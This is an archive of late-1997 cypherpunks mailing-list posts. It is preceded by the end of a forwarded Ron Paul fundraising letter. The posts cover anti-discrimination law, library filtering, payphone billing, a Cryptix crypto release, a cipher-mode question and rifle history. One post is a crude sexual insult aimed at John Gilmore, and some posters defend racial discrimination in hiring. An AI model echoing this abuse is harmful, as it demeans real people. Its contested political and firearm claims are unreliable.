feds, new curriculums not only smear the Founders as "racist, slave-owning
elitists," they seek to dumb down our students so they will all be equal.
"Look-say" reading and the abolition of phonics has the same purpose, and
so does the new "fuzzy" math, in which there are no right and no wrong
answers.

     That must be what they use in the U.S. Treasury!  It's certainly what
they use in the U.S. Congress.

[Page 5]

     But ever since the beginning of federal aid to education and
accelerating with the establishment of the rotten Department of Education,
SAT scores have been dropping. Schools, with few exceptions, are getting
worse every year.

     To save our kids, we must get the sticky fingers of the feds off our
local schools, and let parents rule.  That's what the Constitution says,
and the Bible too.

     And then there's my least favorite foreign topic, the UN. World
government is obviously unconstitutional.  It undermines our country's
sovereignty in the worst way possible.  That's why I want us out of the UN,
and the UN itself taking a hike.

     After all, the UN is socialist and corrupt (many votes can be bought
with a "blonde and a case of scotch," one UN ambassador once said).  It
costs many billions, and it puts our soldiers in UN uniforms under foreign
commanders, and sends them off to unconstitutional, undeclared wars.  When
Michael New, one of the finest young men I've ever met, objected to wearing
UN blue, he was kicked out of the American Army.  What an outrage.

     Not one dime for the UN, and not one American soldier!  Not in Haiti,
not in Bosnia, not in Somalia, not in Rwanda.  I know it's radical, but how
about devoting American military efforts to defending America, and only
America?

     Such ideas, said one newspaper reporter, make me a "maverick who will
never go far because he won't 'go along to get along.'"  Darn right.  What
does "go far" mean?  Get a big government job?  The heck with that.  And I
won't sell my vote for pork either.

     When I walked through the U.S. Capitol this morning, I got angry.  The
building is filled with statues and paintings of Jefferson, Madison, and
the other Founders.  Those great men sacrificed everything to give us a
free country, and a Constitution to keep it that way.

     When I was first elected, I placed my hand on the Bible and swore an
oath to uphold the Constitution.  That's exactly what I'm fighting for.
But such ideas drive the liberals crazy.  That's why I badly need your
help.

     I've been targeted nationally for defeat.  The Democrats, the AFL-CIO,
the teachers union, big business PACs, the trial lawyers, the big bankers,
the foreign-aid .lobbyists, the big media, and the establishment
Republicans want to dance on my political grave.  The Fed, the Education
Department, and the UN are anxious to join in.  They can't stand even one
person telling the truth.  And they're terrified when that truth gains the
people's support.

     Right now, four well-funded Democrats are competing to try to beat me,
and a Republican is rumored to have been

[Page 6]

offered money at a secret meeting in Mexico(!) if he would try to knock me
off in a primary.

     Won't you help me stay up here to fight? Frankly, I'm in trouble if
you don't.

     My Texas district has 22,000 square miles (not a misprint). I've got
to travel all over it, set up small offices to be manned by volunteers,
advertise, pay phone bills, and distribute video and audio tapes to the
people to get around the big-media lies.  As I know from my last election,
which I won by the skin of my teeth, the media will carry any smear, repeat
any libel, throw any piece of mud, no matter how untrue.  In fact, the less
true, the more they like it.

     They are determined to silence me.  But you can help me overcome all
this.  Together, we can beat the bad guys arrayed against our country and
our freedom.  We can support the Constitution.  We CAN win.

     Your generous contribution of $25 or $50 would be great.  $100, $250,
or even $500 or $1,000 would be magnificent.  Of course, any amount would
help, and in return, I will keep you up-to-date on this fight as a member
of my "kitchen cabinet."

     What great men founded this country.  What great people have carried
on their fight.  That fight is not lost, not if you will join it.
Washington, D.C., is a loser, but among the people, our ideas are gaining
EVERY SINGLE DAY.

     Keep the tide turning in our direction.  Please make your most
generous contribution.  Join this fight for the Constitution, and stop
those who want to rip it up, and throw it in the Potomac.  Together, we can
join the Founders, fight. Together, we can make history.


Sincerely,

/s/ - Ron

Ron Paul
U.S. Congressman

P.S.

Without you, I may be lost, and they'll be breaking out the champagne in
D.C. PLEASE, DON'T LET THIS FIGHT FOR THE CONSTITUTION AND LIBERTY FALTER.
HELP ME WIN IT.







**********************************************
To subscribe or unsubscribe, email:
     majordomo@majordomo.pobox.com
with the message:
     subscribe ignition-point email@address
or
     unsubscribe ignition-point email@address
**********************************************
http://www.telepath.com/believer
**********************************************

------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 24 Dec 1997 05:24:45 +0800
To: cypherpunks@toad.com
Subject: Re: Gilmore Publishes Strong Crypto Code Online for Authentication
In-Reply-To: <199712232040.MAA20998@toad.com>
Message-ID: <a6N7He55w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



John Gilmore <gnu@toad.com> writes:

> San Francisco, December 23, 1997 - Civil libertarian John Gilmore
> today published strong authentication source code on the Internet,
> making it available for worldwide access, despite U.S. National
> Security Agency attempts to restrict such software.  He is publishing
> Domain Name System Security software that contains a complete copy of
> RSAREF, well-known cryptography software that is a predecessor to the
> DNSsafe software released in October by RSA Data Security, Inc.

Talking about himself in the third person is a sure sign of a cocksucker.

"John wants to suck a big cock!" - John Gilmore

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 24 Dec 1997 07:16:38 +0800
To: Colin Rafferty <craffert@ml.com>
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <ocru3bz3lrh.fsf@ml.com>
Message-ID: <199712232304.SAA20293@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <ocru3bz3lrh.fsf@ml.com>, on 12/23/97 
   at 02:25 PM, Colin Rafferty <craffert@ml.com> said:

>The logic is about patterns of discrimination of society and the State
>acting as a social engineer to remove the patterns.

This is the crux of the matter (and for Seamer the relevance to FC). It is
*NOT* the job of the STATE to play social engineer. There is no
Constitutional mandate for it and in numerous clauses and Amendments it is
strictly prohibited from doing so.

It is this concept that the STATE can disregard the Constitution whenever
it feels like it is the reason why we have ITAR/EAR, CDA,
Volentary/Mandatory Ratting systems, ECC, FCC ...etc.

When you support the blatant violation of the Constitution by the
government because their actions fit your political/social agenda you
loose all credibility when you go to oppose them on a separate violation.
This is why the so-called civil rights groups have very low credibility
with many.

Either we have a government which must obey the laws of the land (with the
Constitution being the supreme law) or we have the current system where
the law is disregarded whenever it is politically expedient.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Colin Rafferty <craffert@ml.com>
Date: Wed, 24 Dec 1997 06:43:16 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <David Honig's message of "Tue, 23 Dec 1997 11:10:38 -0800">
Message-ID: <ocrn2hr3df7.fsf@ml.com>
MIME-Version: 1.0
Content-Type: text/plain



David Honig writes:
> At 02:37 PM 12/23/97 -0500, Colin Rafferty wrote:

>> You are not being coerced into anything.  If you don't want to serve
>> food to Blacks, don't open a restaurant.  It's your choice.

> Where do you get the right to tell others how they can make a living?

I don't have that right.  However, the Supreme Court has said that the
Congress has that right.

>> By the way, you are also not allowed to dump toxic waste in your own
>> backyard.  Are you being oppressed?

> I am not allowed to place toxic waste, or noise, where it can affect
> others; I can 
> ingest toxins privately and listen to whatever music I like so long as you
> don't detect it in your backyard.

Well, racism is hiring decisions is something that is detected in other
people's backyards.  That's why its illegal.

>>> An employer-employee relationship is like a marriage or any other
>>> arrangement between adults -mutually consensual.
>> 
>> In a fantasy world, it is mutually consensual.  It the real world, it is 
>> seldom mutual.

> You prefer a shotgun or otherwise arranged marriage?

I prefer a level playing field.

>>> Colin, do you consider
>>> yourself oppressed when someone choses not to date you?  What about
>>> a rejection by someone who takes out a public advertisement in the paper?
>> 
>> Nope.  Of course, this has nothing to do with anything.

> Private behavior is private behavior, and trade is a private behavior.

Not in this country.  If you don't believe me, check out Article I,
Section 8 for one explicit example.

>>> Freedom is only tested when it hurts.
>> 
>> With freedom comes responsibility.  Decency is one of them.

> But obligate decency at gunpoint is not worth it.

It's called civilization.  You should try it some time.

-- 
Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Wed, 24 Dec 1997 09:43:38 +0800
To: cypherpunks@toad.com
Subject: Re: Best Cypherpunk long gun
Message-ID: <3.0.32.19971223173919.006c1b84@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Gladiator Z. Nuri wrote:

>no wonder TCM is so frustrated all the time. forget chips,
>forget software, he's really a stymied wannabe gun salesman.
>
>I've almost never complained about off topic posts, but
>this is really beyond the limit of all comprehension.
............................................................

You would have had to've been up late last night/early this morning, to
understand.   Jim & Brian & Landon were sitting around comparing notes on
AKs & things, and someone trolled the list, and TCM volunteered a bit, and
so it went.

I was lurking, bemused.  Such details to go over; every little thing is
measured & labeled, typed and dated.  "I can take it apart in 11 seconds
and put it back together in 21".   

Hmmm.

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 24 Dec 1997 08:11:33 +0800
To: Colin Rafferty <craffert@ml.com>
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <ocrn2hr3df7.fsf@ml.com>
Message-ID: <199712232355.SAA20719@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <ocrn2hr3df7.fsf@ml.com>, on 12/23/97 
   at 05:25 PM, Colin Rafferty <craffert@ml.com> said:

>> Private behavior is private behavior, and trade is a private behavior.

>Not in this country.  If you don't believe me, check out Article I,
>Section 8 for one explicit example.

"To regulate Commerce with foreign Nations, and among the several States,
and with the Indian Tribes"

The Commerce Clause is the most abused section of the Constitution use to
justify the most heinous and draconian actions of the federal government.

You truly are no lover of freedom.

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand
that feeds you. May your chains set lightly upon you; and may posterity
forget that ye were our countrymen."
- -- Samuel Adams


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 24 Dec 1997 01:49:53 +0800
To: cypherpunks@cyberpass.net.fight-censorship@vorlon.mit.edu
Subject: Re: SPECIAL REPORT: Censorware in the StacksRe: SPECIAL REPORT: Censorware in the Stacks
Message-ID: <199712231746.SAA26055@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Colin Rafferty writes:
> 
> Tim May writes:

> > When the state-as-sovereign sets up libraries that don't carry Everything
> > (hint: and not even the LOC carries everything), then the choices it makes
> > can be seen by some to be First Amendment violations.
> 
> This is not a First Amendment violation.
> 
> The government is not required to promote all speech, but only to not
> restrict it.  Selection of books for a library does not abdridge freedom
> of speech, since the act of not selecting does not reduce speech.
> 
> Modifying the content of the selected books would be an infriging act,
> since that is a reduction.
> 
> They cannot subscribe to Playboy and then put pasties on the nipples.
> Nor can they subscribe to the Internet and then filter it.

And the difference between `selecting' which books to acquire for 
the library and `selecting' which web pages to receive is what?
Those pages `not selected' by the Internet filter are not `reduced'
any more than the `not selected' books.  There is no consistent
application of principle in your arguments.


> > A better solution is to get Government out of the business of running
> > libraries or providing Net access.
> 
> I fail to see how this will solve anything.

Then rub a couple of neurons together and see if you can generate
a spark.  If the government isn't in the business of either `selecting'
books or internet pages, then there is no `selecting' to be done in 
either case and therefore nothing to be solved.


-Frondeur





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "bill.stewart@pobox.com" <stewarts@ix.netcom.com>
Date: Wed, 24 Dec 1997 11:19:57 +0800
To: Colin Rafferty <fight-censorship@vorlon.mit.edu
Subject: It's the usual Libertarians-vs-Statists flame war!  Re: Freedom Forum report on the State of the First Amendment
Message-ID: <3.0.3.32.19971223190836.006f87c0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



We're pretty far off topic for both fight-censorship and cypherpunks,
aren't we?  There's a bit more excuse on fight-censorship, since
censoring racists vs. freely publishing hate speech is a core issue there;
the cypherpunks content is mostly limited to "In cypherspace, nobody can
hear you flame" and technologies for protecting freedom of speech and
association from censors, racists, and other statists.

Colin Rafferty writes:
>>> If you want to live in a hut in Montana and shelter yourself from the
>>> real world, feel free.  Otherwise, it may be a good idea to check out
>>> social theories from the last hundred years.

There've been a number of them.  Socialism.  Fascism.  Libertarianism.
Randroidism.  Existentialism.  Non-existentialism.  Nudism.  Pick several :-)

Some of those social theories say it's a good idea to hire guys in 
blue suits to beat up people who are acting in ways you consider rude,
while others think you have the duty to beat them up yourself,
or to protest non-violently, or to keep silent if it's not your business, 
or to insult them behind their backs, or to organize boycotts.  
In uncivilized countries, the blue-suiters carry guns to encourage rude 
people to allow themselves to be beaten up; more civilized liberal countries 
issue them clubs instead so the beating gets done up close and personal.

Personally, I think that freedom of association is a critical part of
a civilized society, and that people who hire thugs to beat up racists
are just as rude as the racists they're having beaten up; 
hiring quieter thugs who'll let the rude people chicken out and just
hand over their money and close their stores instead of being beaten
is also rude, but you can make a lot more profit that way and 
keep your liberal conscience satisfied that you're stopping rudeness.

(I hope it should be obvious, but I apply the same rhetoric to people
whose idea of rudeness is using rude words or smoking rude plants
or associating with the wrong color of people or engaging in
voluntary rude activities with the wrong people.  However, 
unlike liberals, it's hard to make that kind of people feel _guilty_
about being rude, only embarassed, and they tend to respond by
making more rude laws as an excuse to beat you up...)

William H Geiger (not to let his statist ranting off the hook either) 
is alleged to have written:
>> Please explain to me where in the Constitution the government is
>> given the power to determine who I *must* associate with?? 
and Colin replies
>Given that the Civil Rights Act of 1964 was upheld as Constitutional, I
>would generally use that as an argument.

The much-abused Commerce Clause is probably more useful for this argument.
Original intent or not, it's been quite effective.

The Constitution was, after all, a political compromise between people 
ranging from near-anarchists to moderate statists, slaveowners,
currency-fiaters, hard-money advocates, and non-government-money advocates,
free traders and drug smugglers, trade-taxers and trade-monopolizers,
religious, anti-religious, and a while raft of other positions.
It was far from morally perfect even on the issues where the writers
were far-thinking enough to imagine how their words might get twisted.

Keeping the states from regulating interstate commerce was a good idea,
not that the Commerce Clause appears to have done that very well,
but allowing the Feds to regulate it was, in my opinion, a serious mistake
even if the Feds had limited their control to real interstate commerce.
The previous confederation that the Constitution usurped wasn't perfect,
and allowed a more distributed statism rather than the centripetal statism
that replaced it.  Sure, if the Constitution _doesn't_ allows the Feds
to do something, they definitely shouldn't, but even if it _does_,
that doesn't mean it's even vaguely ok - it just means that the
bunch of politicians in Philadelphia agreed on it and went home
and talked their fellow politicians into buying the package.
Spooner argued that not only did they not have the right to do so, 
but that even if they had it wouldn't have been binding in his day, 
much less ours.

And by the way, none of this has to do with whether governments can
require corporations not to have their employees act rudely.
Corporations are a fictional creature whose existence is a favor
from the government to the owners, and they can tie whatever strings
they want to onto the favor when they grant it.  Whether granting
favors to bunches of owners is a State or Federal job,
or whether it's Nobody's job, the owners can do what they're told
or have their favor vanish in a puff of greasy orange smoke
and still not have a cause of action for complaining about it.
Companies run by partnerships and the business activities of
individuals are a separate issue, unless they're selling to the 
government, which also makes them fair game.
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "bill.stewart@pobox.com" <bill.stewart@pobox.com>
Date: Wed, 24 Dec 1997 11:52:14 +0800
To: Adam Back <schear@lvdi.net
Subject: Re: Is Anonymous Communication only for "Criminals"?
In-Reply-To: <v03102800b0c300fd81ba@[208.129.55.202]>
Message-ID: <3.0.3.32.19971223192905.00743190@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:15 PM 12/22/1997 GMT, Adam Back wrote:
>I was totally amazed when I heard from a US friend that US cell phones
>don't bill the caller!  My immediate thought was "people can spam call
>you and run your bill up, ouch!"
>
>Must be weird having a cell phone where people can run your bill up
>just by calling you.

You're actually using more cellular infrastructure resources for the call
if you're the callee, because the carrier has to hunt down your phone
to connect to you, and then tie up the same resources during the call.

On the other hand, you can hang up on spam callers, and many services
give you caller id as part of the cell service, so you can trace
who the spammer is that called you much more easily and harass them
right away, as well as getting a bill for it at the end of the month
which you can also use to harass them.
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "bill.stewart@pobox.com" <bill.stewart@pobox.com>
Date: Wed, 24 Dec 1997 11:51:47 +0800
To: Joichi Ito <cypherpunks@cyberpass.net
Subject: Re: Is Anonymous Communication only for "Criminals"? (was: Re:  UCENET II and Peter duh Silva)
In-Reply-To: <Pine.BSF.3.91.971220102724.24864D-100000@mcfeely.bsfs.org>
Message-ID: <3.0.3.32.19971223194605.00738504@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:32 PM 12/21/1997 +0900, Joichi Ito wrote:
>Can't a pay phone operator get paid a portion of incoming calls as well?
>If they can set outgoing rates to be very high, couldn't they set their
>incoming rates as well? (This is not an opinion, but a question.)
>I do know that depending on the arrangement, phone companies either
>carry all incoming call for free or cross bill incoming minutes to each other.

It's difficult to do, given the standard settlements arrangement,
though perhaps that may change under the latest confusing rules.
On the other hand, a pay phone carrier _could_ set up their pay phones
with 1-900 numbers (which charge the caller extra) or similar arrangements.
(To avoid burning many 900 numbers, they could have the caller call
1-900-PAYPHON and type in N more digits to specify the phone.)

Besides the privately owned payphones not wanting to receive calls,
the local telephone monopolies would prefer not to have poor people
receiving their phone calls at the local payphone instead of paying
for monthly telephone service, so they don't mind blocking incoming calls.

And mobile business people who use beepers who used to get very annoyed
because they be reached at payphones will just have to buy cellphones;
cellphones cost much less now than a few years ago, and often the
local telephone monopoly is one of the cellphone carriers.
(They're usually also a beeper seller, but that's much more competitive.)
(The last time I went looking for an apartment, I only had a beeper, and
it was _extremely_ annoying not to be able to get callbacks.)

That just leaves sellers and buyers of politically incorrect substances;
the seller can afford a cellphone, but that's too easy to trace,
or a stolen cellphone, but changing the number often makes it hard
for your customers to know your new number.  Meanwhile, 
the customer can't easily have the seller call back to a payphone.
So the Drug Warriors like banning incoming calls at payphones
(I doubt there's national legislation, but I think there are
local laws in some cities, and the states telephone regulators
probably make it easy also) and the payphone companies don't mind.

The biggest losers are poor people, but nobody cares about them.

				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 24 Dec 1997 09:07:20 +0800
To: cypherpunks@cyberpass.net
Subject: Cryptix 3.0 - the International JCE
Message-ID: <v04002705b0c60db6e460@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: 23 Dec 1997 22:41:22 -0000
From: iang@systemics.com
To: e$@vmeng.com
Subject:  Cryptix 3.0 - the International JCE
Sender: <e$@vmeng.com>
Precedence: Bulk

Happy Xmas from the Cryptix Development Team!   Here's the full story:


=======================================
For immediate release:

Cryptix 3.0 - the International JCE

23 December 1997 -- A major new release of Cryptix is now available on
web sites around the world. Cryptix V3.0 includes the International Java
Cryptography Extension (IJCE).

The cleanroom implementation of the JavaSoft specification was built by
David Hopwood and Raif Naffah, and also includes new algorithms by the
team, including the long-awaited unencumbered ElGamal public key
algorithm.

Cryptix includes the strong cryptography that is needed to protect
privacy and electronic commerce on the Internet. With this release, the
Cryptix Development Team is maintaining its committment to quality,
freeware cryptography.

In full, the Cryptix International JCE release supports:

       Symmetric
       encryption
                      Blowfish, CAST5, DES,
                      Triple DES, IDEA,
                      LOKI'91, RC2, RC4,
                      SAFER, SPEED, Square
       Message digests
                      HAVAL, MD2, MD4,
                      MD5, RIPEMD-128,
                      RIPEMD-160, SHA-0,
                      SHA-1
       Public-key
       encryption
                      RawElGamal GF(p), RSA
       Public-key
       signatures
                      RawElGamal GF(p), RSA
       Padding
                      PKCS#5, PKCS#7,
                      OneAndZeroes, NONE
       Modes
                      ECB, CBC, CFB,
                      CFB-PGP, OFB
       Miscellaneous
                      Base64 encoding

Cryptix now offers the widest choice in Java cryptographic solutions.
These benefits can be downloaded from the international mirror index
listed below.

A design goal of maintaining compatibility with Java 1.0.2 has been
substantially achieved, although specific Java 1.1 features and some of
the new algorithms (ElGamal and KeyGenerators) are not available when
using the older standard. This provides a smoother upgrade path to full
J1.1 and JCE functionality.

The international download mirror index is located at
http://www.systemics.com/software/cryptix-java/   The Cryptix
Development Team acknowledges the kind assistance of the many mirror
sites that permit widespread and free distribution of the product, to
maximum benefit of the Internet community.

David Hopwood <hopwood@zetnet.co.uk>, Raif S. Naffah <raif@fl.net.au>
and Ian Grigg <iang@systemics.com> are available to answer questions on
this release of Cryptix.

- - - - - - - - -
Cryptix is a trademark of Systemics Ltd.
Java is a trademark of Sun Microsystems, Inc.
Sun Microsystems does not endorse this release,
and are not involved in any way with the product.
--
iang                                      systemics.com

FP: 1189 4417 F202 5DBD  5DF3 4FCD 3685 FDDE on pgp.com



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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Wed, 24 Dec 1997 13:32:28 +0800
To: David Honig <cypherpunks@Algebra.COM>
Subject: Re: Question on CFB variant with c[i-N]
In-Reply-To: <3.0.5.32.19971222091025.007aee10@otc.net>
Message-ID: <3.0.3.32.19971223200714.00700484@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>>>>              cfb    Ciphertext feeback mode
>>>>>                     c[i] = f1(K, c[i-1]) ^ p[i]
>>>>>                     p[i] = f1(K, c[i-1]) ^ c[i]

>>Suppose instead of c[i-1] you use c[i-N] where N is say 10.

> Wouldn't the size of your IV have to grow as N grows?

Depends on your threat model; you could use the same IV for all c[i<1].
The main reason to do that sort of interleave is to simplify
parallelizing the hardware for speed while retaining
approximately the same security as regular CFB.

You might have some minor security gain because there's less
correlation between p[i] and p[i-N] than p[i-1],
so it's harder to guess things that might help,
but you might have a minor security loss because you're
only mushing together 1/N as much stuff, and you're
more likely to implement something incorrectly :-)


				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 24 Dec 1997 03:39:52 +0800
To: cypherpunks@toad.com
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <ocrwwgw2bd3.fsf@ml.com>
Message-ID: <199712231925.UAA06474@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




At 12:55 PM 12/23/97 -0500, Colin Rafferty wrote:
>William H Geiger writes:

[snip by me]

>> Really amazing how many so-called "freedom fighters" become STATIST if the
>> proper buttons are pushed.
>
>What are you talking about?
>
>Freedom of expression is not the same as freedom of oppression.

Oppression, in terms of private entities and citizens, is in the eye
of the beholder.  What you call oppression could just as easily be
interpreted as my right to free expression.  If I choose not to
associate with someone, for whatever reason, that's my right.  It's
just as much your right to not associate in any way with someone
who would treat you as such, and to deal only with people who will
not treat you that way.  That's how a free market and free society
works.

It's oppression if I not only refuse to hire you, but also interfere
with you going about getting a job somewhere else.  But until I
actively try to keep you from persuing your own rights independent of
mine, I should have the perfect right to make my own decisions on
whether or not I associate with you.

I think there's a clearer case of oppression with regards to the
government's laws dictating who *HAS* to be hired.  That's an obvious
lessening of my right to discriminate as to whom I do and do not want
to deal with.  Where else in this society is this behavior mandated?
Do I have to sit in public with a racially diverse group of people?
Do I have to make it a point to talk to at least one Asian person
every day?  What's the difference?

>If you want to live in a hut in Montana and shelter yourself from the
>real world, feel free.  Otherwise, it may be a good idea to check out
>social theories from the last hundred years.

That's ridiculous.  No one is sheltering themselves from the real world
here.  We're just questioning the dogma of these "real world experts."
Do you really think it's prudent to believe everything someone offers
up because they have an academic or "official" title behind their name?
Or a large portion of government to stand behind them?  I put more
faith in my own perception than anyone else's.

>
>-- 
>Colin
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 24 Dec 1997 10:59:08 +0800
To: cypherpunks@toad.com
Subject: Re: Best Cypherpunk long gun
In-Reply-To: <199712232256.OAA08140@netcom10.netcom.com>
Message-ID: <s437He58w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Vladimir Z. Nuri" <vznuri@netcom.com> writes:

> no wonder TCM is so frustrated all the time. forget chips,
> forget software, he's really a stymied wannabe gun salesman.
>
> I've almost never complained about off topic posts, but
> this is really beyond the limit of all comprehension.

I suppose anything crypto-relevant (i.e. on topic for this list)
would be beyond the limits of a <*S0V0K*>'s comprehension.

I also suppose Sameer Parekh must be very upset that the fascist
US gubmint has censored his favorite sex symbol - Joe the Camel.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 24 Dec 1997 11:07:36 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <ce905e6905af616d9df710fe420dfd34@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



At 02:52 AM 12/23/97 -0600, you wrote:
>Forwarded message:
>
>> Subject: Re: Lock and Load (fwd)
>> Date: Tue, 23 Dec 97 02:41:03 -0500
>> From: "Brian B. Riley" <brianbr@together.net>
>
>>  It was the first cicilian marketed semi-auto in the country

No, that one was a Baretta.

The Browning  was the first successfully marketed simi-auto shoulder weapon in *this* country. I believe the Remington M-8 was based on the same Browning recoiling barrel design.

>
>This doesn't use a Mauser 1898 action does it? The top feed 5-round clip is
>my first clue...

The 95 and 98 Mauser (along with the Springfield) are *bolt action*  arms. They are magazine fed.

>
>As to first semi-automatic in the country, I believe  the Springfield 1903
>has that particular honor. It used a Mauser '98 action also. It's also where
>.30-06 got the 06 from...also very popular in WW1 and used as a sniper rifle
>through Normandy, after which the Garand pretty much took over.

You've got yur facts mangled a tad. The 03 is a hand operated bolt action! It was predated in US military service by both the Krag and Lee  bolt actions. The first US service semi-auto rifle, discounting the abortive Pederson device, was the Johnson .30-06!
 . The .30-06 is called the .30-06 Springfield because the original , .30-03, round was loaded with a FMJ 220 gr. slug at around 2000 fps . It proved to be little better than the trapdoor .45-70 which it replaced in the hands of most infantry troops. In190!
6 a new service cartridge with  slightly different case dimensions was introduced sending a FMJ 150 gr. bullet out at around 2500 fps. Later it was up rated to 2700 fps as the brittle case hardened 03 Springfield actions were phased out in favor of  strong!
er "hi-number" 03-A3 rifles. I carried an 03-A3 (serial number 4796575) for  four years. Good dependable weapon and if I could see em, I could generally hit em with it.

>Yep, bet this is some sort of Mauser '98 action...

Nope, don't bet yur gas money , sonny.

>
>> Merry Christmas to you too ... we here in Vermont are having a *very* 
>> white Christmas already with more snow coming tonite and tomorrow ...
>
>We're supposed to get rain and more rain starting tomorrow. They say it might
>be clear on Christmas but the rain returns on Friday...;(
>
>Stay warm & thanks for the discussion.
>
>   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |

Screw the holiday cheer shit, I wish you a good meal, a warm bed, and unlimited firepower.

DemanglerMunger    





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Wed, 24 Dec 1997 12:18:45 +0800
To: brianbr@together.net (Brian B. Riley)
Subject: Re: Best Cypherpunk long gun
In-Reply-To: <199712240341.WAA15907@mx01.together.net>
Message-ID: <199712240407.WAA01410@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



the problem is the wear of the barrel

ignoramus

Brian B. Riley wrote:
> 
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On 12/23/97 11:57 AM, Igor Chudov @ home (ichudov@algebra.com)  passed
> this wisdom:
> 
> >Brian B. Riley wrote:
> >>   I had maybe a half dozen occasions where I put four to six 20
> >> round mags (the Marines didn't start getting the 30 round mags
> >> til the Army got all theirs - sigh!) through my weapon on full
> >> auto in rapid succession and never had a jam.
> >
> >Did it overheat?
> 
>  Hot enough to burn exposed skin, but not enough for problems. I think
> had I gotten up to seven or eight magazines one after another there
> may have been danger of cooking off rounds or even barrel warp. I saw
> a an M-2 50 on a Chinook get a barrel warp after 1000 straight rounds
> ... first the barrel was glowing cherry red in broad daylight then as
> it cooled it warped enough that the gunner took it out of action ...
> fortunately by that time we had gotten off the ground and were well
> airborne on our way back to Danang (hmmmmmm, makes me think, nuthin
> good ever did happen out near Thuong Duc and Charlie Ridge!)
> 
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> =6Gm8
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> 
> 
> Brian B. Riley --> http://members.macconnect.com/~brianbr
